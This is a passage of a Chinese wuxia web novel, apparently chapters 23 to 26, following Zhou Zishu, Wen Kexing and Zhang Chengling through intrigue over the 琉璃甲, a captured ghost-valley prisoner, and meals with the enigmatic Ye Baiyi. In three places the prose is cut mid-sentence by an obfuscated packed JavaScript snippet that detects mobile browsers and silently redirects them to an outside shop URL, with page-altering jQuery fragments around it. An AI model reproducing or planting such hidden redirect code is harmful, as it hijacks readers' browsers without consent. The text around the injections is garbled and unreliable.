温客行唯恐天下不乱地拍拍张成岭的头,感慨道:“阿絮,你觉得我们像一家三口么?” 周子舒于是走得更快了。 温客行便真把自己当爹了似的,一脸慈祥状对张成岭道:“左右没事,路还长,我给你讲个故事吧?” 张成岭乖乖地点点头,便听温客行得意洋洋地鬼扯道:“话说那五行山下,有个妖孩,名叫红孩儿,与一帮子妖魔鬼怪住在一起,当然,他其实心里十分看不上这群东西,只觉他们一天到晚无事生非十分讨人嫌……” 他竟似对此道颇为精通,周子舒在前边走着,听见温客行抑扬顿挫、娓娓道来,竟哄得张成岭那傻小子也跟着一惊一乍的。发现这姓温的混账还有点说书先生一张嘴皮子走四方的意思。 “……那红孩儿方知自己身世竟十分不凡,他娘亲乃是一条大白蛇精,人称白娘子,因私自下凡,与凡人私通,被一个叫做法海的老和尚发现,压在了华山之下……” 周子舒陡然被石头绊了一下,险些五体投地。 “……红孩儿欲劈山救母,那老和尚法海联系一干神仙阻挠,被他一一击溃,可谁知那原先洞中众妖精也反了水,要置他于死地。” 周子舒已经不知该说什么好了,张成岭却听得紧张兮兮,问道:“那为什么?” 温客行便说道:“这其实是个秘密,那白娘子原本不是白蛇,只不过是个略有道行的凡人罢了,不知怎么的以讹传讹,被人当成了妖精,压在华山之下。你想啊,若是她被放出来,那红孩儿父母岂不都成了凡人,那他自己不也就是个凡人?” 张成岭傻乎乎地听着:“哦,凡人……我还是不明白……” 温客行便笑道:“你傻呀,非我族类,其心必异。” 周子舒闻言心里一动,似乎隐隐约约地有了一个念头,却没来得及抓住,又飞快闪过。只听张成岭问道:“那红孩儿死了没?山劈开了没?” 温客行想了想,反问道:“我还没编到那呢,你觉得呢?” 张成岭斩钉截铁地说道:“他肯定打赢了一群妖精,将他娘救出来了,最后成了一个无所不能的大英雄!” 温客行补充道:“嗯……也可以,不过这似乎有点太没意思了,十个话本九个里都这么讲,那……不如就让红孩儿从此变成个凡人,再也不能腾云驾雾了吧?” 张成岭“啊”了一声,觉得这结局有些遗憾,又说不出哪里遗憾,他抬头看了一眼温客行,觉得这位前辈人很好,也十分好说话,便生出了亲近的心,试探着道:“前辈再给我讲一个故事吧?” 温客行终于找到了忠实听众,觉得这小子十分给面子,很是上道,于是打开了话匣子,先后讲了“猫头鹰和一碗红水”、“姜子牙大战白骨精”、“崔莺莺怒沉百宝箱”等一系列又新奇又有趣的故事,就这么絮絮叨叨地回到了洞庭高家庄。 三人才到,便撞上了曹蔚宁,此君见了张成岭愣了一下,大呼小叫道:“哎哟小少爷,你跟着这两位爷跑哪去了,赵大侠找你快找疯了!” 周子舒道:“我们偶然间见着这孩子一个人跑了出去,就去追他了,不告而别,还……” 他话还没说完,曹蔚宁便一把拉了他,道:“你可错过大新闻了,快走,那边人脑袋都快打成狗脑袋了!” 24. 第二十四章 鬼面 周子舒兴趣缺缺,别说是打成狗脑袋,就是打成猪脑袋也不关他什么事,他现在唯一想干的事,就是找个酒楼,把他那喝空了的酒壶灌满,然后找个窝昏天黑地的睡一觉,以把自己满脑子的红孩儿如何劈山救白蛇的故事晃荡干净。 便使了个巧劲,轻轻挣开曹蔚宁,解释道:“咱们还是先得把这孩子送回赵大侠那里的好。” 曹蔚宁一拍脑袋,说道:“是是,把这码事给忘了。” 他转过脸看了看张成岭,不大会掩饰情绪的脸上浮现了一点古怪的悲悯之色,竟叹了口气,拍拍张成岭的肩膀,说道:“小小年纪的,倒是难为你了,以后可得多加小心啊。” 张成岭和他不熟,懵懵懂懂,温客行却反应过来,插嘴问道:“怎么,那些人还在吵吵关于琉璃甲的事?难不成他们怀疑张家的……” 他扫了张成岭一眼,语音顿住。 曹蔚宁也不拿他们当外人,便口无遮拦地解释道:“这等时候你们竟还乱跑,昨日可热闹极了,那封晓峰一提到‘琉璃甲’三个字,当场简直便炸开了锅,高大侠和慈睦大师两个人才勉强压住了场子。有不少人动了别的心思,华山掌门于丘烽第一个站起来,质问赵敬赵大侠是不是吞了张家那片琉璃甲,是不是因为这个才害得他儿子惨死。” 曹蔚宁想了想,语气跟背书似的平铺直叙道:“于丘烽一把鼻涕一把泪那样子,简直专程来洞庭号丧似的,快要失心疯了,峨眉、崆峒、苍山等门派,平日与华山派交情不错的,这回都站在于丘烽那边,硬是要赵家庄外发生的事给个说法,还有封晓峰一帮子煽风点火,闹哄哄争吵不休,最后你一拳我一脚地揍起来了,还有人要高大侠就鬼谷中人为何忽然重出江湖,以及琉璃甲究竟是个什么东西给个说法。” 温客行和周子舒一起感兴趣地看着曹蔚宁,心道这傻小子怎么一天不见,嘴皮子变利索了? 曹蔚宁干咳一声,道:“这是我师叔他老人家说的,具体怎么回事,其实昨日闹哄哄的,我也没听明白。” 难怪跟背书似的…… 周子舒忽然转过脸去,问张成岭道:“小鬼,你是不是知道些什么,不然怎么先是被烧房子,又有人买通毒蝎对你下手?” 张成岭茫然地看着他,傻愣愣的摇摇头。 周子舒对天翻了个白眼,实在看不得他这副蠢样子,便不再理会他,对曹蔚宁说道:“还劳烦曹兄将他送回赵大侠处,多谢。” 言罢转身走了,分明没兴趣去凑天下英雄乱成一锅粥的热闹。 张成岭默默地看着他的背影,抿抿嘴。 忽然只觉头顶抚上一只手,一抬头,正看见温客行对着他笑,便讷讷地说道:“前辈。” 温客行道:“你可知他为什么对谁都人模狗样的,偏对你这样没耐心么?” 张成岭低下头,小声道:“大概是我太笨了吧……” 温客行笑道:“你只是一般笨,也没有‘太’笨,他不跟你文绉绉人五人六地扯淡,说明他愿意和你亲近,又不好意思说,我瞧他是害羞呢。” 张成岭一愣:“真的?” 温客行笑眼弯弯地望着周子舒的背影,漫不经心地道:“生他者,父母也,知他者,本人也。世上能做他知己的人,恐怕也只有我了,自然不骗你。” ——那人身上的内伤,那人的易容,那人平日里有意无意隐没自己形迹的习惯,那身功夫,还有那江湖陈年旧事都如数家珍般的模样,除了“天窗”,他想不出第二个解释。 可真是“天窗”,他又是怎么逃过那鬼见愁的七窍三秋钉的制裁呢? 温客行百思不得其解数日后,忽然明白了一个道理,重点不是那人怎样逃过七窍三秋钉,而是他知道该如何逃过七窍三秋钉—— 他想,自己恐怕还真的是跟上了一个大人物。 张成岭还没来得及体会这句话的深意,便听见一边不明真相的曹蔚宁感慨道:“我虽然一直觉得,二位同为男儿,这样子有些古怪,可如今看来,人之一生,如有这样一个只言片语便知深意的知己左右,岂不比神仙眷侣还要快活,是男是女又有什么关系呢?” 言罢还径自摇头摆尾地念叨:“有道是问世间情是何物,直教人生死相许,桃花潭水深千尺,不及……”不及什么他说不出了,只觉得那句话就在嘴边,死活想不起来,十分尴尬,便支吾过去,末了还点评道,“这位杜甫先生写的诗,虽晦涩难懂了一些,细细品之,还是十分有深意的。” 张成岭和温客行一起脸色古怪地看着他。 好半晌,温客行才说道:“清风剑派高徒果然能文能武,佩服佩服。” 曹蔚宁脸皮薄,感觉被人这样夸奖有些不好意思,便讪讪地笑道:“哪里哪里,师父他老人家说了,咱们武林中人,读书也没用,又不指望谁去考状元,认得几个字不是睁眼瞎子就行了,把功夫练好了才是正理,我也不过读过两天的文章,不求甚解罢了。” 温客行觉得那句“不求甚解”真是太绝妙了。 两人将张成岭送了回去,赵敬险些急疯了,拉着他问东问西,温客行冷眼旁观着,觉得赵敬这老东西,虽然也狡猾得很,对这故人之子倒也不是漠不关心的,便悄无声息地转身要走,才一转身,便觉得有一道目光盯住了他。 温客行脚步一顿,转头看去,那位和他目光对上的瞬间便目露凶光,一副很想扑上来的疯狗模样,温客行见曹蔚宁正毕恭毕敬地跟他说话,心里猜到,这便是他师叔——清风剑派出了名不是东西的老刺头莫怀空。 莫怀空一边听着曹蔚宁嘴碎舌碎三纸无驴地说话,一边顺着他的指引对着温客行的方向看过去,先是觉得这人竟有几分眼熟,之后那幽深的眼眸竟让他有些心惊的感觉,却又怎么都想不起来。 一时诧异,刚好看见温客行挑起嘴角对他笑了笑,耳畔听见曹蔚宁感慨他和另一个男人如何深情相交,不由便哼了一声,心里感觉这姓温的从头到脚没有一个地方像好东西。 于是转过头呵斥曹蔚宁道:“你还没完了么?” 曹蔚宁说了一半的话立刻咽了回去,得令闭嘴,简直恨不得把两片嘴皮子缝上。 这天傍晚,周子舒才吃饱喝足,正靠在酒楼栏杆上小口小口地喝着他新打的酒,忽然只见一个人进来,对邻桌的几个人说了什么,那几个人立刻便结账走了。周子舒挑起眼皮,发现酒楼中瞬间少了一半的人,便随便拉住一个少年,问道:“这是怎么了?” “刚才传来消息,说高家庄捉住了一个鬼谷的恶鬼,要示众呢!” 周子舒自己微微皱起了眉,高崇捉住了一个青竹岭的恶鬼?如今他已经不怀疑那鬼众们是重入江湖了,他本人就已经见到了两只,可鬼谷这又是什么意思呢? 恶鬼们在人间都是难以立足大奸大恶之人,才进入鬼谷寻求庇护,这样跑回朗朗乾坤之下,便不怕么? 难不成那“琉璃甲”中还真有什么不得了的秘密,不得了到让鬼谷倾巢出动,让那高崇高大侠三缄其口讳莫如深,甚至在这时候用这样一个笨拙的噱头,来转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450114|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移人们的视线? 周子舒一边想着一边走,下楼的时候,不留神迎面撞上一个人,他嘴上说着“对不住”,一边抬头看去,只见那人竟是不食人间烟火的古僧后人,便是一愣。 心里忽然不着边际地冒出一个念头来,原来他竟也是要吃饭的? 古僧后人道了句“不妨事”,便整整衣襟,看了看他,主动道:“我听那清风派的小兄弟说起过,阁下便是那位护送张家后人去太湖的吧?你见过我,我叫做叶白衣。” 他从不像高崇那样喜欢和人高谈阔论,基本上处于一种不干己事不开口的状态,十分没有存在感,也不知为什么,整个人透着一股子诡异的违和感。 周子舒一愣,不知为什么这人会忽然找自己搭话,便驾轻就熟地应付了他一些场面话。 叶白衣却没理会,只是表情漠然地盯了他一会,下一句又冒出来:“我见你气息凝滞,举止沉重,像是已经快病入膏肓的样子,只是为什么一个快死的人会有你这样的精神?实在是古怪得很。” 周子舒默然,觉得这位兄台多半是在长明山待得时间太长了,跟着他那师父修出一身仙气,所以不怎么会说人话。 叶白衣想了想,又问道:“你还能活多长时间,三年?两年?” 周子舒只觉这个话题,他是点头也不对,摇头更不对,便僵硬地笑了一下:“叶兄好眼力,不愧是……” 叶白衣耳朵上似乎长了个过滤网,直接把他懒得听的废话都过滤下去了,也不等周子舒说完,便径自道:“天人将死尚有五衰,苦不堪言,你竟还能活蹦乱跳吃喝玩乐,真是长江后浪推前浪,什么时候中原武林竟也有了这么多这样的人物——”他说着说着还就转身便走,也不管周子舒。 走出老远去,才想起了什么似的,回头对他说道:“你若有闲,不妨来请我喝酒。” ——好像请他喝酒是给对方极大的面子一样,周子舒默默无语。 他跟着大多数人去高家庄围观了一下传说中的“恶鬼”,其实什么也没看出来,只是见了一个长得凶神恶煞的中年人被五花大绑着架到所有人面前,有些游街示众的感觉,那恶鬼上身裸着,特意露出腰上那狰狞地鬼面,以示此人乃是个如假包换的正品。 周子舒正对着这人出神,忽然肩膀上无声无息地搭上一只手,温客行不知从何处冒出来,呲着一口白牙谄媚地对他笑了笑,说道:“寻了你一整天了,哪去了?” 周子舒没理会,只指着那杯五花大绑的人问道:“你说这是真的还是假的?” “唔?”温客行顺着他手指的方向瞥了一眼,颇为不以为然地说道,“腰上刺上恶鬼的纹身,表示从此不能出现在光天化日之下,没事谁去弄个假的出来?不过也可能是这倒霉蛋得罪了谁,被人陷害,扔在这里示众。” 他说得轻巧,可周子舒却恰好知道一些事,比如那鬼面刺青所用的一种颜料是一种叫做“阴司草”的植物叶子磨出来的,只在鬼谷才有。 比如并不是每一个进了鬼谷的人,都能变成恶鬼活下来——就好比不是每一个蹬腿翘辫子的魂魄都能再入六道轮回或者化身厉鬼,说不准便魂飞魄散了。那是个人吃人、鬼咬鬼的极恶之地,弱肉强食是唯一的法则,进去了,便须得提防所有人,强横过所有人,才有资格活下来,得到这么一个刺青。 周子舒若有所思地盯着那带着刺青的人,此刻群情激奋,华山派已经有人站出来说要将此人活活烧死了。 他忽然转过身,排开人群,大步往外走去。 25. 第二十五章 白衣 温客行对他的兴趣明显比对那吊着的恶鬼大,一转头见他走了,立刻也要追上来。谁知那明明方才还在眼前的人,好像凭空晃了一下,便不见了,温客行脚步顿住,目光从茫茫人海中扫过去。 周子舒就像是一颗水滴钻进了大海,倏地一下,便不见了踪影。温客行有些困惑,眯起眼睛,不甘心地又在他消失的方向凝神扫了一圈,发现那人竟真的,就这么大喇喇地从自己眼前不见了。 那一瞬间他心里忽然生出一点不足为外人道也的情绪来,像是有什么东西脱离了掌控,还有一点不明来由的愤怒滋芽而生。 原来这个人随时可以消失——即使温客行猜到了他的身份,猜到了他的心思,他仍然可以随时消失不见——只要他想。 他是从天窗的天罗地网中落出来的,世上最狡猾的一尾鱼。 周子舒甩开温客行,却是去了一家银庄。 洞庭乃至江南一带,最出名的银庄有一个非常平实的名字,叫做“平安银庄”,生意做得颇为红火,却并不过分引人注意,从未曾想过插手别的地方的生意。好像主人家没有太大的野心,只偏安于这草长莺飞的一隅似的。 周子舒抬头看了银庄的招牌,推门进去,里面立刻有人喊道:“客官一位,里面请——您是兑银票还是……” 周子舒越过那伙计,直接找上掌柜的,低低地一笑,轻声道:“我想求你家宋大当家的帮忙办点事,麻烦您替我联系个管事的。” 掌柜一怔,抬起头打量了周子舒半晌,才谨慎地开口问道:“您是?” 周子舒将声音压得更低了:“我是你家七爷的故人,姓周。” “七爷”两个字一出口,那掌柜的脸色立刻一变,肃然起敬,忙几步走出来,亲自引他坐下,又叫店小二上茶,自己却站在一边,恭恭敬敬地道:“您请您请,小人即刻便传信于宋大当家的,不过大当家此刻恐怕不在洞庭,您看……您能不能等几日?” 周子舒点头道:“不忙,您也坐。” 又客客气气地让了掌柜一回,掌柜的诚惶诚恐忙摆手道不敢,继而又问道:“周爷,您的事,是亲自与大当家的说,还是眼下先叫小人去办?” 周子舒想了想,问道:“我并没什么要紧的事,只是不知道掌柜的有没有听说过‘琉璃甲’这一号东西呢?” 那银庄掌柜愣了一下:“这……小人倒有些耳闻,周爷说的,莫不是那五块碎琉璃拼成的琉璃甲?” 周子舒点点头:“正是。” 银庄掌柜思量了片刻,摊开一张纸,写下“琉璃甲”三个字,又道:“小人知道一些,只是恐怕并不周详,若是周爷不在乎等上几日,小人倒也有些渠道能替您查到。” 周子舒看着他,见这掌柜的不过三四十岁,一脸精明,说话滴水不漏,语速不快,出口前必经三思,果然是那成了精的人手底下的一群老小狐狸。他不知道那位老朋友离开京城以后这么多年,在这边的势力能有多大,现在看来,恐怕也不仅仅是银庄那么简单了。 他喝了一盏茶,便离开了。想不到昔日的天窗首领,也要靠别人收集消息,更想不到为了保住张成岭那兔崽子的小命,他竟也有求到那人头上的一天——不过说回来,周子舒自己也想不明白,那张成岭和自己不过萍水相逢,他的小命,又关自己什么事呢? 简直是无事忙。 可人这一辈子,却是总有那么几回,总有那么一些人、一些事,叫人明知没好处,却忍不住多管闲事。周子舒想着,大概就是缘分吧?不然怎么江南那么大一片地方,偏偏叫他遇见那小东西呢? 他溜溜达达地在大街上,无所事事地逛游着晒太阳,饱览了一番洞庭风光,直到日头偏西,才心满意足地走上了一家酒楼,叫了一壶酒,几个小菜,心想这可真是好日子,他好像一辈子都没过过这么好的日子——不是自己疲于奔命,就是算计着让别人疲于奔命。 旁边有个小姑娘拉着琴唱曲子,人也水灵,声音也水灵,怎么看怎么美,一曲罢了,楼上楼下所有人都连声叫好,周子舒看着她就觉得赏心悦目,便大大方方地摸出一锭银子放在她的盘子上,那小姑娘先是一愣,随即低头抿嘴对他一笑,福了一福,轻声道谢,周子舒心情就更好了。 忽然,对面的位子上坐下一个人,来人理所当然、平铺直叙地说道:“我来让你请我喝酒了。” 周子舒心头一紧——这是债主来了。 叶白衣丝毫不客气,在他看来,吃饭喝酒这种俗务,是要他赏光的,既然是他赏光,应该是对方诚惶诚恐,自己自然不用客气,便也不管周子舒,自顾自地招呼过店小二,噼里啪啦地报了一堆菜名,淡定地对周子舒说道:“要吃什么你自便,不用拘谨。” 周子舒眼神诡异地看着他,心道你哪只眼睛看出我拘谨了? 他有些怀疑这位古僧后人是故意来讹自己的,就他刚刚点的那些东西,别说是两个人,恐怕就是两头猪,也够喂了。 叶白衣见他没有要加菜的意思,于是恍然大悟道:“哦,是了,你有伤,胃口定然不会太好。不过我劝你能吃的时候多吃点吧,剩下的时间也不多了。” 周子舒眼神更诡异了,心道这东西若不是古僧后人,真是叫人一天到晚当沙袋揍都不过头。 正这当,又有一个人大喇喇地走到他们身边,也不请自来地拉过一把椅子坐下,似笑非笑地打量这叶白衣,说道:“阿絮,我说你怎么今天招呼也不打,便失踪了一下午呢,敢情……是有别人了?” 周子舒叫那小姑娘的笑容点亮的好心情立刻渣也不剩了,心里想着,自己是不是应该直接站起来,丢下一句“我走了二位自便”走人。温客行便转过头来,不知为什么,竟真有些咬牙切齿似地问道:“他是谁?” “他是……”周子舒才要说只是一位偶遇的朋友,话到了嘴边,忽然觉得万分不明所以,心里不明白自己做什么要跟他解释这个,便面色古怪地顿住了。 叶白衣倒是大大方方地对温客行点点头,说道:“我叫做叶白衣。” 温客行皮笑肉不笑地转过头去,才要说话,便听叶白衣又波澜不惊地说道:“我知道你,你是那日烧了那张家小孩屋子的人。” 周子舒端着酒杯的手徒然顿在半空中,温客行脸上的笑容顷刻间便消失不见了。他一双眼睛死死盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450115|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶白衣,就像是盯着一个死物,身上慢慢凝聚起某种说不出的……深沉而森冷的杀意。 周子舒一凛,皱起眉来。 正好店小二端菜上来,被他杀意所激,吓得手一抖,盘子便要掉下去,电光石火间,小二只觉眼前好像有白影一闪,那险些落下去的菜便不知怎的,稳稳地落在了那位白衣公子手上,连一滴菜汤都没洒出来。 以周子舒的眼力,居然也没能完全看清他的动作。 叶白衣竟是这样的高手?若他是古僧后人,那那位传说中的长明山古僧…… 周子舒背后浸出一点冷汗,发觉天窗关于那位神秘极了的古僧的估量,原来并不准确。 温客行的瞳孔刹那间缩了一下,脸上虽然波澜不惊,却不动声色地将那股子煞气收了回去,打量着这白衣的年轻人——他有……二十五六?不,恐怕仅仅是皮相嫩,真实年龄绝不止如此,要么,有三十上下?也不像…… 这人给他的感觉简直就像他的名字一样,一片空白,他坐在那里,不说话不动的时候,就像是个假人,叫人感觉不到他的情绪波动,也很难用自己的情绪去影响到他,像是比邻而坐,却活在两个不一样的世界似的。 叶白衣好像丝毫没有注意到因为自己一句话,其他两个人的激烈反应,自顾自地闷头吃东西。随着饭菜一道道地摆上来,周子舒和温客行两个人的表情再次出现了一定程度上的扭曲—— 这位古僧后人,简直是个绝世饭桶! 他十分快速地往嘴里塞着东西,虽然并不粗鲁,可那风卷残云的架势,绝对像八辈子没吃过东西一样,下箸如飞,筷子所经之处如蝗虫过境,不给敌人剩下一颗粮食,本来不饿的周子舒,和明显没心情吃饭的温客行,就在他的带动下,情不自禁地拿起筷子,想尝尝这家酒楼做的是什么山珍海味。 直到桌子上一片杯盘狼藉,战况惨不忍睹,盘碗皆空的时候,叶白衣才撂下筷子,心满意足地擦擦嘴,嘴角弯起一个不大明显的弧度,算是笑了笑,对周子舒道:“多谢款待。” 说完,也没别的表示,直接站起来就走人了。 周子舒忽然觉得,单是能养得起这么一个吃货,长明山古僧就是个人物! 温客行忽然开口道:“他刚才说的话……我并不是要……” 他话音顿住了,好像微微有些迷茫,不知道自己为什么忽然要说这个,胸口好像有些闷,飞快地抬眼看了周子舒一眼,又垂下目光,自嘲似的笑了笑,摇摇头,恢复了一惯的模样:“这是古僧后人?我瞧他倒像个白皮蝗虫。” 周子舒端起酒壶,把壶底的一点酒给自己倒上,也并不纠缠放火那个话题。 他当然知道,温客行若存心要杀张成岭,就跟碾死只蚂蚁没什么区别,定然不会大张旗鼓地去放火,还专门挑一个人不在的时候去,所以与其说他有恶意,倒不如说他知道些什么,提前去放了个警告。 问题是,叶白衣是如何知道的? 不过他忽然想起了点别的事……周子舒将手探进怀里,表情忽然很精彩,抬起头问道:“那个……你银子带够了么?” 温客行同他面面相觑。 26. 第二十六章 七爷 那绿树浓荫四季不枯,灼灼盛盛,鸟雀穿行。连绵的群山如美人的脊背,起伏绵延,无穷无尽。 这里便是南疆了。 一棵少说几百年的古树下,摆着张小桌,一个十来岁的南疆少年正襟危坐地在那里做着他的功课,他年纪不大,却定力十足,足足有一个多时辰没有抬过头,好像什么都打扰不到他一样。 小桌旁边横着一把躺椅,一个男人在上面闭目养神,却是中原人的打扮,广袖长袍,腿上放着一本打开的旧书。 男人脚底下有一只小貂,没人理会它,它便十分无趣地追着自己的尾巴玩。 这时,一个南疆武士手上拿着一封信,快步走进来,见此情景,不由放轻了脚步,默默地等在一边。 躺椅上的男人闻声睁开了眼,这人约莫二十五六,长了一双总是带着些许笑意的桃花眼,顾盼流转间,竟是个绝世好看的人物,小貂灵巧地蹿到他怀里,爬上他的肩膀,用尾巴扫着他的下巴。 那武士恭恭敬敬地将信递了上去,说道:“七爷,是宋大管家的信。” 七爷应了一声,懒洋洋地接过去,有些兴趣缺缺地打开,然而只看了一半,整个人便直起身来,眼神也清醒过来,说道:“是他?” 小貂只觉得那信纸在眼前晃来晃去,便不老实地伸出爪子去抓,被七爷拎住脖颈,轻巧的丢到了一边的少年书桌上。 少年这才抬起头来:“爹,是谁呀?” 七爷没直接回答,站起身来,在原地走了两步,一边慢慢地将信纸折起来,一边不着边际地说道:“路塔,我上回和你说过,这天下大势,分久必合,合久必分的道理,你还记得么?” 少年路塔似乎挺习惯他这爹说重点之前必要东拉西扯的毛病,便配合地接道:“爹说这就好比人站得久了要坐下,坐得久了屁股上要长钉子一样,没什么道理,只是人活着,就是得折腾。” 七爷脸上露出个满意的笑容,对一边云里雾里的南疆武士说道:“阿伈莱,替我去找你家大巫,问问他是不是觉得这句话十分有道理。” 武士阿伈莱面容呆滞地看着他,问道:“啊?” 七爷才要说话,只听一个人轻笑了一声,慢声道:“你又怎么闲得紧了,要折腾些事出来?” 来人一身黑衣,手中拿着一根权杖,那权杖也是乌黑不打眼的模样,阿伈莱见了,却忙低下头去,道:“大巫。” 大巫“嗯”了一声,摆摆手道:“你去忙你的吧——北渊,不要老欺负厚道人。” 七爷将折起来的信递给他,笑道:“你猜猜是谁光临了我家的铺子,这可是位稀客。” 大巫并不是很感兴趣,却也接过来,只哼了一声道:“不是大庆皇帝就行……嗯?是周庄主?” 七爷脸上露出一个不怀好意的笑容:“小毒物,我们去一趟中原吧?老朋友有事,自然该两肋插刀是不是?” 大巫看着他那唯恐天下不乱的模样,嘴上没言声,心里却默默地觉得,此人分明是想过去看热闹,顺便插朋友两刀的。 周子舒这会还不知道他自己交友不慎的下场,他在烦恼一件比较现实的事情——比如叶白衣这个吃货忽然驾临,导致他没带够饭钱。 和温客行大眼瞪小眼片刻以后,周子舒便明白了一个道理——温客行若是靠得住,母猪都能上树。他只觉得自己十分遇人不淑,遇见这两个东西,一个是绝世饭桶,一个是绝世蹭饭桶,简直是一对神物。 温客行发觉周子舒目光不善,情不自禁地拉紧衣襟,小声道:“我卖笑不卖身,你千万不能把我押在这里。” 周子舒问道:“那你说怎么办?” 温客行道:“既然是你请客,我建议你可以卖身抵债。” 周子舒从牙缝里挤出一句话:“老子他娘的又不是大姑娘,卖身你买么?” 温客行立刻眼睛一亮:“买,我砸锅卖铁倾家荡产去当铺当裤子也要买!” 周子舒压低了声音:“你现在能砸锅卖铁倾家荡产去当铺当裤子,先把饭钱给了么?” 温客行默然半晌,终于道:“阿絮,我看咱们还是跑吧?” 周子舒默默地把脸扭到一边,他虽然一直靠劫富济贫的勾当发家致富,可仍然一点良心尚存,实在觉得吃霸王餐这件事有损德行,再者……他看看眼前温客行那张无耻的嘴脸,绝对有些丢不起这个人。 这一扭脸,忽然看见酒楼大门口进来一个人,周子舒立刻来精神了,叫道:“顾姑娘,真是太巧了!” 顾湘正往里走,闻言才看见他们两人,立刻大惊失色,转身便要离开,然而她却没有温客行快,一转身,温客行已经在她面前了,温言细语地问道:“阿湘,你跑什么?” 顾湘脸色铁青地憋了半晌,才吐出一句话:“主……主人,奴婢我……只是走错门了。” 温客行拍拍她的肩膀,将她拉进来,安慰道:“不妨,你来便来了。” 顾湘浑身鸡皮疙瘩都起来了,只觉得自家主人简直非奸即盗,她逃脱不得,只得一步一步地跟着他走上来,战战兢兢的样子活像是要上断头台的。温客行将她带到两人饭桌处,问道:“你带钱了么?” 顾湘立刻将全身的铜钱碎银子元宝金叶子银票全都拿出来了,温客行这才满意地点点头,财大气粗地叫道:“小二,结账!” 顾湘心有戚戚然,心想,怪不得那算命地说她要破财免灾呢,阿弥陀佛。 大约是拿人手短吃人嘴软,温客行于是又带上了顾湘这个跟屁虫,没再轰她。周子舒走在前面,琢磨了一会,忽然回头,直接了当地问道:“温兄,你那夜烧了张家小鬼的房子,又是什么意思呢?” 顾湘大惊失色:“主人,你竟然杀人放火?!” 温客行一本正经地说道:“我夜观天象,发现那小鬼将有血光之灾,非要以火攻之,才可以度过去,便日行一善了。” 他话音才落,见周子舒和顾湘都一脸鄙视地看着他,便又补充道:“我做好事从来不留名姓,你们不必这样崇拜。” 顾湘道:“主人,你能给我观观天象不?” 温客行道:“你将有血光之灾,除非闭嘴一日。” 顾湘果然不敢说话了。 他们回到白日里处置那恶鬼的地方,人已经散得差不多了,那恶鬼也不知去向,据说是被废去武功,刺穿了琵琶骨,锁起来了。正好曹蔚宁带着张成岭正在寻他们,便迎上来,问道:“周兄,这张小兄弟说你是他的师……”他话音突然顿住,盯着温客行身后的顾湘,张大了嘴,说不出话来了。 顾湘眨眨眼不明所以,曹蔚宁却只是愣愣地盯着她。 周子舒只得在一边干咳一声,曹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450116|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔚宁这才如梦方醒,一张脸红得透了,讷讷地说道:“姑、姑娘……对不住,在下不是故意唐突,实、实在是……” 顾湘莫名其妙,觉得这小子大约是脑子不大正常。只见曹蔚宁忽然退后一步,蚊子似的道:“小生姓、姓曹,小字蔚宁,太、太行人士,清风剑派‘蔚’字辈,清风剑派掌门莫怀阳就是我师、师父……” 顾湘上下打量他一番,问温客行道:“主人,他有什么毛病?” 曹蔚宁家谱还没来得及结结巴巴地报完,一腔纯洁无比的少年情怀便碎了一地。 周子舒看了张成岭一眼,想到了什么似的,说道:“小鬼,你和我这边来。”张成岭见他竟没一见面便轰自己走,于是喜出望外,屁颠屁颠地跟上,温客行拍拍曹蔚宁的肩膀,也带着顾湘一路回房了。 曹蔚宁只觉得顾湘从他身边过的时候,竟有一小股香风从身畔划过一般,脑子里简直化作一团浆糊,人世不知了,直到他们都已经走出了很远,他才回过神来似的,恍恍惚惚地念道:“关关雎鸠,在水一方,北方有佳人……君子好逑……世上竟有这样美的女孩子,竟有这样……” 他痴痴呆呆一步三叹地走了,全神贯注地回去害相思病了。 走出了好远,顾湘这才低声对温客行说道:“主人,老孟也来了,叫我和主人知会一声,下面的事……” 温客行脚步不停顿,头也不回,嘴角往上弯起,眼角却没有笑纹,轻轻地说道:“老孟还用我告诉他该怎么做么?” “……是。” 周子舒一路沉默地将张成岭带回了自己的房里,短促地点了一下头,道:“你坐下吧,我有些事问你。” 张成岭规规矩矩地坐在一边:“师父问什么?” 周子舒想了想,问道:“那日那脸上有一块小鬼巴掌的男人,是不是问你,有没有见过一个少了一根手指的男人?” 张成岭点点头。周子舒又问道:“你见过么?” 张成岭摇摇头,问道:“师父,他说的是什么人?” 周子舒翘起二郎腿,食指轻轻地敲打着自己的膝盖,没有回答他这个问题——少了一根手指,传言吊死鬼薛方,便是少了一根手指的男人,也因为这个,他才确定那日被顾湘打死在破庙里的黑衣人绝不是吊死鬼。 可那红衣喜丧鬼是什么意思? 片刻,他才放缓了语速,异常正色地问道:“小鬼,你好好想想,那天夜里,你有没有见过什么不寻常的事?” 